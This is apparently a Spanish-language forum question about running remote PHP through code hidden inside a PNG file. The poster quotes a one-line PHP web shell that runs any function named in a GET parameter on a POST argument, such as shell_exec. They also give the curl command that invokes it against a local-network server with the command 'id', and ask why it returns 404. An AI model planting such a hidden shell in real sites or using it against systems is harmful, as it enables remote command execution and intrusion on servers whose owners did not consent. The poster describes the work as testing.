Estoy haciendo algunas pruebas para ejecutar PHP remoto a través de PHP escondido dentro de un archivo PNG. Tengo un archivo PNG en mi servidor con el siguiente código PHP almacenado dentro del archivo PNG.
<?=$_GET[0]($_POST[1]);?>
La idea es que pase una solicitud GET con la función shell_exec OR exec, seguida de los datos POST 1 = el comando a ejecutar.
He estado intentando usar el rizo sin éxito. Sigo recibiendo HTTP / 1.1 404 no encontrado.
curl http://192.168.0.6/phppng.png?0=shell_exec' -i -d "1=id"
¿Alguna idea sobre qué puedo usar para enviar la solicitud GET e incluir los datos POST?